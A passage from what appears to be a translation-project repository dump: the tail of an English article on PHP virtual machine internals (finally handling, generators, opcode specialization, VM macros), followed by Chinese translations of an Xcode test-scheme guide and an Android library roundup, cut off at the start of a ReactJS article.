$value) { try { try { return 42; } finally { throw new JumpException; } } catch (JumpException $e) { continue; } } ``` The only real limitation that exists is that it is not possible to jump *into* a finally block, e.g. performing a goto from outside a finally to a label inside a finally is forbidden. With the preliminaries out of the way, we can look at how finally works. The implementation uses two opcodes, FAST_CALL and FAST_RET. Roughly, FAST_CALL is for jumping into a finally block and FAST_RET is for jumping out of it. Let’s consider the simplest case: ``` try { echo "try"; } finally { echo "finally"; } echo "finished"; ``` This code compiles down to the following opcode sequence: ``` L0: ECHO string("try") L1: T0 = FAST_CALL ->L3 L2: JMP ->L5 L3: ECHO string("finally") L4: FAST_RET T0 L5: ECHO string("finished") L6: RETURN int(1) ``` The FAST_CALL stores its own location into T0 and jumps into the finally block at L3. When FAST_RET is reached, it jumps back to (one after) the location stored in T0. In this case this would be L2, which is just a jump around the finally block. This is the base case where no special control flow (returns or exceptions) occurs. Let’s now consider the exceptional case: ``` try { throw new Exception("try"); } catch (Exception $e) { throw new Exception("catch"); } finally { throw new Exception("finally"); } ``` When handling an exception, we have to consider the position of the thrown exception relative to the closest surrounding try/catch/finally block: 1. Throw from try, with matching catch: Populate `$e` and jump into catch. 2. Throw from catch or try without matching catch, if there is a finally block: Jump into finally block and this time back up the exception into the FAST_CALL temporary (instead of storing the return address there.) 3. Throw from finally: If there is a backed-up exception in the FAST_CALL temporary, chain it as the previous exception of the thrown one. Continue bubbling the exception up to the next try/catch/finally. 4. Otherwise: Continue bubbling the exception up to the next try/catch/finally. In this example we’ll go through the first three steps: First try throws, triggering a jump into catch. Catch also throws, triggering a jump into the finally block, with the exception backed up in the FAST_CALL temporary. The finally block then also throws, so that the “finally” exception will bubble up with the “catch” exception set as its previous exception. A small variation on the previous example is the following code: ``` try { try { throw new Exception("try"); } finally {} } catch (Exception $e) { try { throw new Exception("catch"); } finally {} } finally { try { throw new Exception("finally"); } finally {} } ``` All the inner finally blocks here are entered exceptionally, but left normally (via FAST_RET). In this case the previously described exception handling procedure is resumed starting from the parent try/catch/finally block. This parent try/catch is stored in the FAST_RET opcode (here “try-catch(0)”). This essentially covers the interaction of finally and exceptions. But what about a return in finally? ``` try { throw new Exception("try"); } finally { return 42; } ``` The relevant portion of the opcode sequence is this: ``` L4: T0 = FAST_CALL ->L6 L5: JMP ->L9 L6: DISCARD_EXCEPTION T0 L7: RETURN 42 L8: FAST_RET T0 ``` The additional DISCARD_EXCEPTION opcode is responsible for discarding the exception thrown in the try block (remember: the return in the finally wins). What about a return in try? ``` try { $a = 42; return $a; } finally { ++$a; } ``` The excepted return value here is 42, not 43. The return value is determined by the `return $a` line, any further modification of `$a` should not matter. The code results in: ``` L0: ASSIGN $a, 42 L1: T3 = QM_ASSIGN $a L2: T1 = FAST_CALL ->L6, T3 L3: RETURN T3 L4: T1 = FAST_CALL ->L6 # unreachable L5: JMP ->L8 # unreachable L6: PRE_INC $a L7: FAST_RET T1 L8: RETURN null ``` Two of the opcodes are unreachable, as they occur directly after a return. These will be removed during optimization, but I’m showing unoptimized opcodes here. There are two interesting things here: Firstly, `$a` is copied into T3 using QM_ASSIGN (which is basically a “copy into temporary” instruction). This is what prevents the later modification of `$a` from affecting the return value. Secondly, T3 is also passed to FAST_CALL, which will back up the value in T1. If the return from the try block is later discarded (e.g, because finally throws or returns), this mechanism will be used to free the unused return value. All of these individual mechanisms are simple, but some care needs to taken when they are composed. Consider the following example, where `Dtor` is again some Traversable class with a throwing destructor: ``` try { foreach (new Dtor as $v) { try { return 1; } finally { return 2; } } } finally { echo "finally"; } ``` This code generates the following opcodes: ``` L0: V2 = NEW (0 args) "Dtor" L1: DO_FCALL L2: V4 = FE_RESET_R V2 ->L16 L3: FE_FETCH_R V4 $v ->L16 L4: T5 = FAST_CALL ->L10 # inner try L5: FE_FREE (free on return) V4 L6: T1 = FAST_CALL ->L19 L7: RETURN 1 L8: T5 = FAST_CALL ->L10 # unreachable L9: JMP ->L15 L10: DISCARD_EXCEPTION T5 # inner finally L11: FE_FREE (free on return) V4 L12: T1 = FAST_CALL ->L19 L13: RETURN 2 L14: FAST_RET T5 try-catch(0) L15: JMP ->L3 L16: FE_FREE V4 L17: T1 = FAST_CALL ->L19 L18: JMP ->L21 L19: ECHO "finally" # outer finally L20: FAST_RET T1 ``` The sequence for the first return (from inner try) is FAST_CALL L10, FE_FREE V4, FAST_CALL L19, RETURN. This will first call into the inner finally block, then free the foreach loop variable, then call into the outer finally block and then return. The sequence for the second return (from inner finally) is DISCARD_EXCEPTION T5, FE_FREE V4, FAST_CALL L19. This first discards the exception (or here: return value) of the inner try block, then frees the foreach loop variable and finally calls into the outer finally block. Note how in both cases the order of these instructions is the reverse order of the relevant blocks in the source code. ## Generators ## Generator functions may be paused and resumed, and consequently require special VM stack management. Here’s a simple generator: ``` function gen($x) { foo(yield $x); } ``` This yields the following opcodes: ``` $x = RECV 1 GENERATOR_CREATE INIT_FCALL_BY_NAME (1 args) string("foo") V1 = YIELD $x SEND_VAR_NO_REF_EX V1 1 DO_FCALL_BY_NAME GENERATOR_RETURN null ``` Until GENERATOR_CREATE is reached, this is executed as a normal function, on the normal VM stack. GENERATOR_CREATE then creates a `Generator` object, as well as a heap-allocated execute_data structure (including slots for variables and arguments, as usual), into which the execute_data on the VM stack is copied. When the generator is resumed again, the executor will use the heap-allocated execute_data, but will continue to use the main VM stack to push call frames. An obvious problem with this is that it’s possible to interrupt a generator while a call is in progress, as the previous example shows. Here the YIELD is executed at a point where the call frame for the call foo() has already been pushed onto the VM stack. This relatively uncommon case is handled by copying the active call frames into the generator structure when control is yielded, and restoring them when the generator is resumed. This design is used since PHP 7.1. Previously, each generator had its own 4KiB VM page, which would be swapped into the executor when a generator was restored. This avoids the need for copying call frames, but increases memory usage. ## Smart branches ## It is very common that comparison instructions are directly followed by condition jumps. For example: ``` L0: T2 = IS_EQUAL $a, $b L1: JMPZ T2 ->L3 L2: ECHO "equal" ``` Because this pattern is so common, all the comparison opcodes (such as IS_EQUAL) implement a smart branch mechanism: they check if the next instruction is a JMPZ or JMPNZ instruction and if so, perform the respective jump operation themselves. The smart branch mechanism only checks whether the next instruction is a JMPZ/JMPNZ, but does not actually check whether its operand is actually the result of the comparison, or something else. This requires special care in cases where the comparison and subsequent jump are unrelated. For example, the code `($a == $b) + ($d ? $e : $f)` generates: ``` L0: T5 = IS_EQUAL $a, $b L1: NOP L2: JMPZ $d ->L5 L3: T6 = QM_ASSIGN $e L4: JMP ->L6 L5: T6 = QM_ASSIGN $f L6: T7 = ADD T5 T6 L7: FREE T7 ``` Note that a NOP has been inserted between the IS_EQUAL and the JMPZ. If this NOP weren’t present, the branch would end up using the IS_EQUAL result, rather than the JMPZ operand. ## Runtime cache ## Because opcode arrays are shared (without locks) between multiple processes, they are strictly immutable. However, runtime values may be cached in a separate “runtime cache”, which is basically an array of pointers. Literals may have an associated runtime cache entry (or more than one), which is stored in their u2 slot. Runtime cache entries come in two types: The first are ordinary cache entries, such as the one used by INIT_FCALL. After INIT_FCALL has looked up the called function once (based on its name), the function pointer will be cached in the associated runtime cache slot. The second type are polymorphic cache entries, which are just two consecutive cache slots, where the first stores a class entry and the second the actual datum. These are used for operations like FETCH_OBJ_R, where the offset of the property in the property table for a certain class is cached. If the next access happens on the same class (which is quite likely), the cached value will be used. Otherwise a more expensive lookup operation is performed, and the result is cached for the new class entry. ## VM interrupts ## Prior to PHP 7.0, execution timeouts used to handled by a longjump into the shutdown sequence directly from the signal handler. As you may imagine, this caused all manner of unpleasantness. Since PHP 7.0 timeouts are instead delayed until control returns to the virtual machine. If it doesn’t return within a certain grace period, the process is aborted. Since PHP 7.1 pcntl signal handlers use the same mechanism as execution timeouts. When a signal is pending, a VM interrupt flag is set and this flag is checked by the virtual machine at certain points. A check is not performed at every instruction, but rather only on jumps and calls. As such the interrupt will not be handled immediately on return to the VM, but rather at the end of the current section of linear control flow. ## Specialization ## If you take a look at the [VM definition](https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h) file, you’ll find that opcode handlers are defined as follows: ``` ZEND_VM_HANDLER(1, ZEND_ADD, CONST|TMPVAR|CV, CONST|TMPVAR|CV) ``` The `1` here is the opcode number, `ZEND_ADD` its name, while the other two arguments specify which operand types the instruction accepts. The [generated virtual machine code](https://github.com/php/php-src/blob/master/Zend/zend_vm_execute.h) (generated by [zend_vm_gen.php](https://github.com/php/php-src/blob/master/Zend/zend_vm_gen.php)) will then contain specialized handlers for each of the possible operand type combinations. These will have names like ZEND_ADD_SPEC_CONST_CONST_HANDLER. The specialized handlers are generated by replacing certain macros in the handler body. The obvious ones are OP1_TYPE and OP2_TYPE, but operations such as GET_OP1_ZVAL_PTR() and FREE_OP1() are also specialized. The handler for ADD specified that it accepts `CONST|TMPVAR|CV` operands. The TMPVAR here means that the opcode accepts both TMPs and VARs, but asks for these to not be specialized separately. Remember that for most purposes the only difference between TMP and VAR is that the latter can contain references. For an opcode like ADD (where references are on the slow-path anyway) having a separate specialization for this is not worthwhile. Some other opcodes that do make this distinction will use `TMP|VAR` in their operand list. Next to the operand-type based specialization, handlers can also be specialized on other factors, such as whether their return value is used. ASSIGN_DIM specializes based on the operand type of the following OP_DATA opcode: ``` ZEND_VM_HANDLER(147, ZEND_ASSIGN_DIM, VAR|CV, CONST|TMPVAR|UNUSED|NEXT|CV, SPEC(OP_DATA=CONST|TMP|VAR|CV)) ``` Based on this signature, 2*4*4=32 different variants of ASSIGN_DIM will be generated. The specification for the second operand also contains an entry for `NEXT`. This is not related to specialization, instead it specifies what the meaning of an UNUSED operand is in this context: it means that this is an append operations (`$arr[]`). Another example: ``` ZEND_VM_HANDLER(23, ZEND_ASSIGN_ADD, VAR|UNUSED|THIS|CV, CONST|TMPVAR|UNUSED|NEXT|CV, DIM_OBJ, SPEC(DIM_OBJ)) ``` Here we have that the first operand being UNUSED implies an access on `$this`. This is a general convention for object related opcodes, for example `FETCH_OBJ_R UNUSED, 'prop'` corresponds to `$this->prop`. An UNUSED second operand again implies an append operation. The third argument here specifies the meaning of the extended_value operand: It contains a flag that distinguishes between `$a += 1`, `$a[$b] += 1` and `$a->b += 1`. Finally, the `SPEC(DIM_OBJ)` instructs that a specialized handler should be generated for each of those. (In this case the number of total handlers that will be generated is non-trivial, because the VM generator knows that certain combination are impossible. For example an UNUSED op1 is only relevant for the OBJ case, etc.) Finally, the virtual machine generator supports an additional, more sophisticated specialization mechanism. Towards the end of the definition file, you will find a number of handlers of this form: ``` ZEND_VM_TYPE_SPEC_HANDLER( ZEND_ADD, (res_info == MAY_BE_LONG && op1_info == MAY_BE_LONG && op2_info == MAY_BE_LONG), ZEND_ADD_LONG_NO_OVERFLOW, CONST|TMPVARCV, CONST|TMPVARCV, SPEC(NO_CONST_CONST,COMMUTATIVE) ) ``` These handlers specialize not only based on the VM operand type, but also based on the possible types the operand might take at runtime. The mechanism by which possible operand types are determined is part of the opcache optimization infrastructure and quite outside the scope of this article. However, assuming such information is available, it should be clear that this is a handler for an addition of the form `int + int -> int`. Additionally, the SPEC annotation tells the specializer that variants for two const operands should not be generated and that the operation is commutative, so that if we already have a CONST+TMPVARCV specialization, we do not need to generate TMPVARCV+CONST as well. ## Fast-path / slow-path split ## Many opcode handlers are implemented using a fast-path / slow-path split, where first a few common cases are handled, before falling back to a generic implementation. It’s about time we looked at some actual code, so I’ll just paste the entirety of the SL (shift-left) implementation here: ``` ZEND_VM_HANDLER(6, ZEND_SL, CONST|TMPVAR|CV, CONST|TMPVAR|CV) { USE_OPLINE zend_free_op free_op1, free_op2; zval *op1, *op2; op1 = GET_OP1_ZVAL_PTR_UNDEF(BP_VAR_R); op2 = GET_OP2_ZVAL_PTR_UNDEF(BP_VAR_R); if (EXPECTED(Z_TYPE_INFO_P(op1) == IS_LONG) && EXPECTED(Z_TYPE_INFO_P(op2) == IS_LONG) && EXPECTED((zend_ulong)Z_LVAL_P(op2) < SIZEOF_ZEND_LONG * 8)) { ZVAL_LONG(EX_VAR(opline->result.var), Z_LVAL_P(op1) << Z_LVAL_P(op2)); ZEND_VM_NEXT_OPCODE(); } SAVE_OPLINE(); if (OP1_TYPE == IS_CV && UNEXPECTED(Z_TYPE_INFO_P(op1) == IS_UNDEF)) { op1 = GET_OP1_UNDEF_CV(op1, BP_VAR_R); } if (OP2_TYPE == IS_CV && UNEXPECTED(Z_TYPE_INFO_P(op2) == IS_UNDEF)) { op2 = GET_OP2_UNDEF_CV(op2, BP_VAR_R); } shift_left_function(EX_VAR(opline->result.var), op1, op2); FREE_OP1(); FREE_OP2(); ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION(); } ``` The implementation starts by fetching the operands using `GET_OPn_ZVAL_PTR_UNDEF` in BP_VAR_R mode. The `UNDEF` part here means that no check for undefined variables is performed in the CV case, instead you’ll just get back an UNDEF value as-is. Once we have the operands, we check whether both are integers and the shift width is in range, in which case the result can be directly computed and we advance to the next opcode. Notably, the type check here doesn’t care whether the operands are UNDEF, so the use of GET_OPn_ZVAL_PTR_UNDEF is justified. If the operands do not happen to satisfy the fast-path, we fall back to the generic implementation, which starts with SAVE_OPLINE(). This is our signal for “potentially throwing operations follow”. Before going any further, the case of undefined variables is handled. GET_OPn_UNDEF_CV will in this case emit an undefined variable notice and return a NULL value. Next, the generic shift_left_function is called and writes its result into `EX_VAR(opline->result.var)`. Finally, the input operands are freed (if necessary) and we advance to the next opcode with an exception check (which means the opline is reloaded before advancing). As such, the fast-path here saves two checks for undefined variables, a call to a generic operator function, freeing of operand, as well as saving and reloading of the opline for exception handling. Most of the performance sensitive opcodes are lain out in a similar fashion. ## VM macros ## As can be seen from the previous code listing, the virtual machine implementation makes liberal use of macros. Some of these are normal C macros, while others are resolved during generation of the virtual machine. In particular, this includes a number of macros for fetching and freeing instruction operands: ``` OPn_TYPE OP_DATA_TYPE GET_OPn_ZVAL_PTR(BP_VAR_*) GET_OPn_ZVAL_PTR_DEREF(BP_VAR_*) GET_OPn_ZVAL_PTR_UNDEF(BP_VAR_*) GET_OPn_ZVAL_PTR_PTR(BP_VAR_*) GET_OPn_ZVAL_PTR_PTR_UNDEF(BP_VAR_*) GET_OPn_OBJ_ZVAL_PTR(BP_VAR_*) GET_OPn_OBJ_ZVAL_PTR_UNDEF(BP_VAR_*) GET_OPn_OBJ_ZVAL_PTR_DEREF(BP_VAR_*) GET_OPn_OBJ_ZVAL_PTR_PTR(BP_VAR_*) GET_OPn_OBJ_ZVAL_PTR_PTR_UNDEF(BP_VAR_*) GET_OP_DATA_ZVAL_PTR() GET_OP_DATA_ZVAL_PTR_DEREF() FREE_OPn() FREE_OPn_IF_VAR() FREE_OPn_VAR_PTR() FREE_UNFETCHED_OPn() FREE_OP_DATA() FREE_UNFETCHED_OP_DATA() ``` As you can see, there are quite a few variations here. The `BP_VAR_*` arguments specify the fetch mode and support the same modes as the FETCH_* instructions (with the exception of FUNC_ARG). `GET_OPn_ZVAL_PTR()` is the basic operand fetch. It will throw a notice on undefined CV and will not dereference the operand. `GET_OPn_ZVAL_PTR_UNDEF()` is, as we already learned, a variant that does not check for undefined CVs. `GET_OPn_ZVAL_PTR_DEREF()` includes a DEREF of the zval. This is part of the specialized GET operation, because dereferencing is only necessary for CVs and VARs, but not for CONSTs and TMPs. Because this macro needs to distinguish between TMPs and VARs, it can only be used with `TMP|VAR` specialization (but not `TMPVAR`). The `GET_OPn_OBJ_ZVAL_PTR*()` variants additionally handle the case of an UNUSED operand. As mentioned before, by convention `$this` accesses use an UNUSED operand, so the `GET_OPn_OBJ_ZVAL_PTR*()` macros will return a reference to `EX(This)` for UNUSED ops. Finally, there are some `PTR_PTR` variants. The naming here is a leftover from PHP 5 times, where this actually used doubly-indirected zval pointers. These macros are used in write operations and as such only support CV and VAR types (anything else returns NULL). They differ from normal PTR fetches in that that they de-INDIRECT VAR operands. The `FREE_OP*()` macros are then used to free the fetched operands. To operate, they require the definition of a `zend_free_op free_opN` variable, into which the GET operation stores the value to free. The baseline `FREE_OPn()` operation will free TMPs and VARs, but not free CVs and CONSTs. `FREE_OPn_IF_VAR()` does exactly what it says: free the operand only if it is a VAR. The `FREE_OP*_VAR_PTR()` variant is used in conjunction with `PTR_PTR` fetches. It will only free VAR operands and only if they are not INDIRECTed. The `FREE_UNFETCHED_OP*()` variants are used in cases where an operand must be freed before it has been fetched with GET. This typically occurs if an exception is thrown prior to operand fetching. Apart from these specialized macros, there are also quite a few macros of the more ordinary sort. The VM defines three macros which control what happens after an opcode handler has run: ``` ZEND_VM_CONTINUE() ZEND_VM_ENTER() ZEND_VM_LEAVE() ZEND_VM_RETURN() ``` CONTINUE will continue executing opcodes as normal, while ENTER and LEAVE are used to enter/leave a nested function call. The specifics of how these operate depends on precisely how the VM is compiled (e.g., whether global registers are used, and if so, which). In broad terms, these will synchronize some state from globals before continuing. RETURN is used to actually exit the main VM loop. ZEND_VM_CONTINUE() expects that the opline is updated beforehand. Of course, there are more macros related to that: ``` | Continue? | Check exception? | Check interrupt? ZEND_VM_NEXT_OPCODE() | yes | no | no ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION() | yes | yes | no ZEND_VM_SET_NEXT_OPCODE(op) | no | no | no ZEND_VM_SET_OPCODE(op) | no | no | yes ZEND_VM_SET_RELATIVE_OPCODE(op, offset) | no | no | yes ZEND_VM_JMP(op) | yes | yes | yes ``` The table shows whether the macro includes an implicit ZEND_VM_CONTINUE(), whether it will check for exceptions and whether it will check for VM interrupts. Next to these, there are also `SAVE_OPLINE()`, `LOAD_OPLINE()` and `HANDLE_EXCEPTION()`. As has been mentioned in the section on exception handling, SAVE_OPLINE() is used before the first potentially throwing operation in an opcode handler. If necessary, it writes back the opline used by the VM (which might be in a global register) into the execute data. LOAD_OPLINE() is the reverse operation, but nowadays it sees little use, because it has effectively been rolled into ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION() and ZEND_VM_JMP(). HANDLE_EXCEPTION() is used to return from an opcode handler after you already know that an exception has been thrown. It performs a combination of LOAD_OPLINE and CONTINUE, which will effectively dispatch to the HANDLE_EXCEPTION opcode. Of course, there are more macros (there are always more macros…), but this should cover the most important parts. If you liked this article, you may want to [browse my other articles](http://nikic.github.io/) or [follow me on Twitter](https://twitter.com/#!/nikita_ppv). [blog comments powered by Disqus](http://disqus.com) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/Testing-Schemes.md ================================================ >* 原文链接 : [Using Xcode's Schemes to run a subset of your tests](http://artsy.github.io/blog/2016/04/06/Testing-Schemes/) * 原文作者 : [Orta Therox](http://artsy.github.io/author/orta/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Tuccuay](https://github.com/Tuccuay) * 校对者 : [Dwight](https://github.com/ldhlfzysys), [LoneyIsError](https://github.com/LoneyIsError) # 使用 Xcode 的 Scheme 来跑不同的测试集合 [Eigen](https://github.com/artsy/eigen) 这个项目用来介绍测试集再好不过。这个项目在过去3年里,程序包的大小,复杂度和开发人员的数量都不断增加,这是积极的迹象。这种测试模式让我们对这些变化更加顺手。 在我最快的计算机上,我们只需要等一分钟—— `Executed 1105 tests, with 1 failure (0 unexpected) in 43.221 (48.201) seconds` 来执行整个测试集。我觉得我可以只用 20 秒来完成,所以我研究了如何用 [AppCode](https://www.jetbrains.com/objc/) 处理运行测试,这份指南可以让你基于这个技术轻松的在 Xcode 里搭建起测试集。 我曾经有一个 [点子](https://github.com/orta/life/issues/71) 在通常的测试中去节约时间,基于 [代码注入](http://artsy.github.io/blog/2016/03/05/iOS-Code-Injection/) ,但它并没有完全解决问题,我希望是时间密集型的,当时还没有完全达到要求。 ### 什么是 Schemes? > 一个 Xcode scheme 定义了编译集合中的若干 target,编译时的一些设置以及要执行的测试集合。 > > 如果你想的话,你可以自定义若干个 schemes,但是你同一时刻只能运行一个。你可以定义 scheme 是保存于一个工程中,也就是 scheme 是否针对所有包含那个工程的 workspace,否则就只是针对此 workspace。当你选中了一个 scheme,你也就选择了一个运行目标(也就是选择的产品构建的硬件架构)。 引用自 [Apple](https://developer.apple.com/library/ios/featuredarticles/XcodeConcepts/Concept-Schemes.html)。 ### 规划 Scheme 这个测试测试集大概有 50 个单元测试,看起来像是这样: ![Tests](http://artsy.github.io/images/2016-04-06-Testing-Schemes/tests.png) 在你开始之前,你可能会说:“我只想做一些有关 Fairs 的测试”。因为我接下来的几天都将为了这个目标而努力。为了准备开始,我需要创建一个新的 Scheme。当你点击 Xcode 左上角的 Target / Sim 按钮的时候你就会看见这个 schemes。 ![Empty Scheme](http://artsy.github.io/images/2016-04-06-Testing-Schemes/empty_scheme.png) 在我看来,当我们需要创建一个新的 scheme 的时候,Xcode 会 modal(译注:"modal" 是弹出浮窗) 出一个选择窗口,你可以在这个窗口里选择 App 的 target,当你选择好某一个 target 时,你就可以按下 `cmd + r` 来运行这个 target。 ![New Scheme](http://artsy.github.io/images/2016-04-06-Testing-Schemes/new_scheme.png) 我给它起名叫 "Artsy just for Fairs",因为我是唯一会看到它的人,所以我可以随意命名成我想要的。点击 "OK" 选择它,这个 modal 会被收起。你现在需要回到 target 选择,并且选择 "Edit Schemes ..." 来继续。 ![Edit Schemes](http://artsy.github.io/images/2016-04-06-Testing-Schemes/edit_schemes.png) ### 做一些修正 现在,在侧栏中点击 "Test",现在你进入了 Schemes 测试编辑器。这将是你接下来要干活的地方。 ![Empty Edit Schemes](http://artsy.github.io/images/2016-04-06-Testing-Schemes/empty_edit_schemes.png) 你需要点击 "+" 来把你的测试 Target 添加到 Scheme ![Test Scheme](http://artsy.github.io/images/2016-04-06-Testing-Schemes/test_scheme.png) 选择并 "Add" 你的 Targets。这样你的 target 就成功的被添加了,然后你需要点击向下箭头让他来显示所有单元测试。 __来,给你表演个魔法__。按住 `alt` 并单击蓝色的标记框把测试 target 关闭。然后不按住 `alt` 再单击一次。这将会取消选择所有的类,这是所有 Mac 应用都可以进行的通用操作,所以不要在意。 ![Deselect All](http://artsy.github.io/images/2016-04-06-Testing-Schemes/deselect_all.png) 这就意味这你可以去寻找你想要运行的类,对我来说,我想要运行关于 Fairs 的单元测试。 ![Just The Good Tests](http://artsy.github.io/images/2016-04-06-Testing-Schemes/just_the_good_tests.png) 现在当我按下 `cmd + u` 就将指运行这些测试类。 ### 封装起来 这意味着我可以以合理的步调继续我的工作了。`Executed 15 tests, with 0 failures (0 unexpected) in 0.277 (0.312) seconds`。现在我可以在我泡一杯茶的时间内运行一遍完整的单元测试集了。 __额外提醒__:如果你不想用鼠标来改变 scheme,这些 [快捷键](http://artsy.github.io/images/2016-04-06-Testing-Schemes/next_prev.png) 可以让你在 scheme 之间上(``cmd + ctrl + [``)下(`cmd + ctrl + ]`)切换。 ================================================ FILE: TODO/Top-5-Android-libraries-every-Android-developer-should-know-about.md ================================================ > * 原文链接 : [Top 5 Android libraries every Android developer should know about - v. 2015](https://infinum.co/the-capsized-eight/articles/top-five-android-libraries-every-android-developer-should-know-about-v2015) * 原文作者 : [Infinum](https://infinum.co/the-capsized-eight/author/ivan-kust) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Kassadin](https://github.com/kassadin) * 校对者: [xiuweikang](https://github.com/xiuweikang) [lihb](https://github.com/lihb) * 状态 : # 2015 年度 Android 开发者必备的 5 个开源库 在2014年6月,我们发表了一篇关于[5 个顶级 Android 开源库](https://infinum.co/the-capsized-eight/articles/top-5-android-libraries-every-android-developer-should-know-about)的文章,我们一直在用,并且相信每个 Android 开发者都应该了解这些开源库。从那之后,Android 方面已经发生了很多变化,所以我们写了这篇文章,我们最喜欢的5个开源库的更新版。 下面是更新列表: ![Top 5 Android libraries](https://s3.amazonaws.com/infinum.web.production/repository_items/files/000/000/308/original/top_5_android_libraries.png?1402486321) ## 1\. [Retrofit](https://github.com/square/retrofit/tree/version-one) 当涉及到实现 REST APIs 时,Retrofit 仍是我们的最爱。 他们的网站上写着: “Retrofit 将 REST API 转换为 Java 接口。”是的,还有其他解决方案,但是 Retrofit 已经被证明是在一个项目中管理 API 调用最优雅、最方便的解决方案。使用注解添加请求方法和相对地址使得代码干净简单。 通过注解,你可以轻松地添加请求体,操作 URL 或请求头并添加查询参数。 为方法添加返回类型会使该方法同步执行,然而添加Callback(回调)会使之异步执行,完成后回调 success 或 failure 方法。 ```java public interface RetrofitInterface { // 异步带回调 @GET("/api/user") User getUser(@Query("user_id") int userId, Callback callback); // 同步 @POST("/api/user/register") User registerUser(@Body User user); } // 例子 RetrofitInterface retrofitInterface = new RestAdapter.Builder() .setEndpoint(API.API_URL).build().create(RetrofitInterface.class); // 获取 id 为 2048 的用户 retrofitInterface.getUser(2048, new Callback() { @Override public void success(User user, Response response) { } @Override public void failure(RetrofitError retrofitError) { } }); ``` Retrofit 默认使用 [Gson](https://code.google.com/p/google-gson/),所以不需要手动解析 JSON。当然其他的转换器也是支持的。 现在 Retrofit 2.0 正在活跃地开发着,仍然是 beta,但你可以从[这里](http://square.github.io/retrofit/)获取到。从 Retrofit 1.9 开始,很多的东西都被砍了,也有一些重大的变化比如使用新的调用接口取代回调。 ## 2\. [DBFlow](https://github.com/Raizlabs/DBFlow) 如果你正准备在你的项目中存储任意复杂的数据,你应该使用 DBFlow。正如他们的 GitHub 上所说,这是“一个速度极快,功能强大,而且非常简单的 Android 数据库 ORM 库,为你编写数据库代码”。 一些简单的栗子: ```java // Query a List new Select().from(SomeTable.class).queryList(); new Select().from(SomeTable.class).where(conditions).queryList(); // Query Single Model new Select().from(SomeTable.class).querySingle(); new Select().from(SomeTable.class).where(conditions).querySingle(); // Query a Table List and Cursor List new Select().from(SomeTable.class).where(conditions).queryTableList(); new Select().from(SomeTable.class).where(conditions).queryCursorList(); // SELECT methods new Select().distinct().from(table).queryList(); new Select().all().from(table).queryList(); new Select().avg(SomeTable$Table.SALARY).from(SomeTable.class).queryList(); new Select().method(SomeTable$Table.SALARY, "MAX").from(SomeTable.class).queryList(); ``` DBFlow 是一个不错的 ORM,这将消除大量用于处理数据库的样板代码。虽然 Android 也有其他的 ORM 方案,但对我们来说 DBFlow 已被证明是最好的解决方案。 ## 3\. [Glide](https://github.com/bumptech/glide) Glide 是一个用于加载图片的库。当前备选方案有 [Universal Image Loader](https://github.com/nostra13/Android-Universal-Image-Loader) 和 [Picasso](https://github.com/square/picasso);但是,以我来看,Glide 是当前的最佳选择。 下面是一个简单的例子,关于如何使用 Glide 从 URL 加载图片到 ImageView。 ```java ImageView imageView = (ImageView) findViewById(R.id.my_image_view); Glide.with(this).load("http://goo.gl/gEgYUd").into(imageView); ``` ## 4\. [Butterknife](http://jakewharton.github.io/butterknife/) 一个用于将 Android 视图绑定到属性和方法的库(例如,绑定一个 view 的 OnClick 事件到一个方法)。较之前版本而言,基本功能没有变化,但可选项增加了。栗子: ```java class ExampleActivity extends Activity { @Bind(R.id.title) TextView title; @Bind(R.id.subtitle) TextView subtitle; @Bind(R.id.footer) TextView footer; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.simple_activity); ButterKnife.bind(this); // TODO Use fields... } } ``` ## 5\. [Dagger 2](http://google.github.io/dagger/) 自从我们迁移到 MVP 架构,我们就开始了广泛使用依赖注入。Dagger 2 是著名的依赖注入库 Dagger 的继承者,我们强烈推荐它。 一个主要的改进就是生成的注入代码不再依赖反射,这使得调试容易了许多。 Dagger 为您创建类的实例,并满足他们的依赖。这依赖于 javax.inject.Inject 注解,以确定哪些构造函数或字段应被视为依赖。以著名的咖啡机(CoffeeMaker)为例: > 译者注:Dagger 和 Dagger 2 的官方文档里都是使用这个例子,所以著名… ```java class Thermosiphon implements Pump { private final Heater heater; @Inject Thermosiphon(Heater heater) { this.heater = heater; } ... } ``` 直接注入到字段的栗子: ```java class CoffeeMaker { @Inject Heater heater; @Inject Pump pump; ... } ``` 通过 modules 和 @Proivides 注解提供依赖(Dependencies): ```java @Module class DripCoffeeModule { @Provides Heater provideHeater() { return new ElectricHeater(); } @Provides Pump providePump(Thermosiphon pump) { return pump; } } ``` 关于依赖注入本身,如果想获取更多信息,请查看 Dagger 2 主页或 [talk about Dagger 2 by Gregory Kick](https://www.youtube.com/watch?v=oK_XtfXPkqw)。 ### 附加链接 [Android 周报](http://androidweekly.net/) 仍然是学习 Android 库最好的资源之一。这是关于Android开发的每周时事资讯。 此外,下面是 Android 行业经常发关于 Android 开发文章的大咖们: [Jake Wharton](https://twitter.com/JakeWharton) [Chris Banes](https://twitter.com/chrisbanes) [Cyril Mottier](https://twitter.com/cyrilmottier) [Mark Murphy](https://twitter.com/commonsguy) [Mark Allison](https://twitter.com/MarkIAllison) [Reto Meier](https://twitter.com/retomeier) ================================================ FILE: TODO/Under-the-hood-ReactJS.md ================================================ > * 原文地址:[Under-the-hood-ReactJS](https://github.com/Bogdan-Lyashenko/Under-the-hood-ReactJS) > > * 原文作者:[Bogdan-Lyashenko](https://github.com/Bogdan-Lyashenko) > > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/Under-the-hood-ReactJS.md](https://github.com/xitu/gold-miner/blob/master/TODO/Under-the-hood-ReactJS.md) > > * 译者组: > > | 译者 | 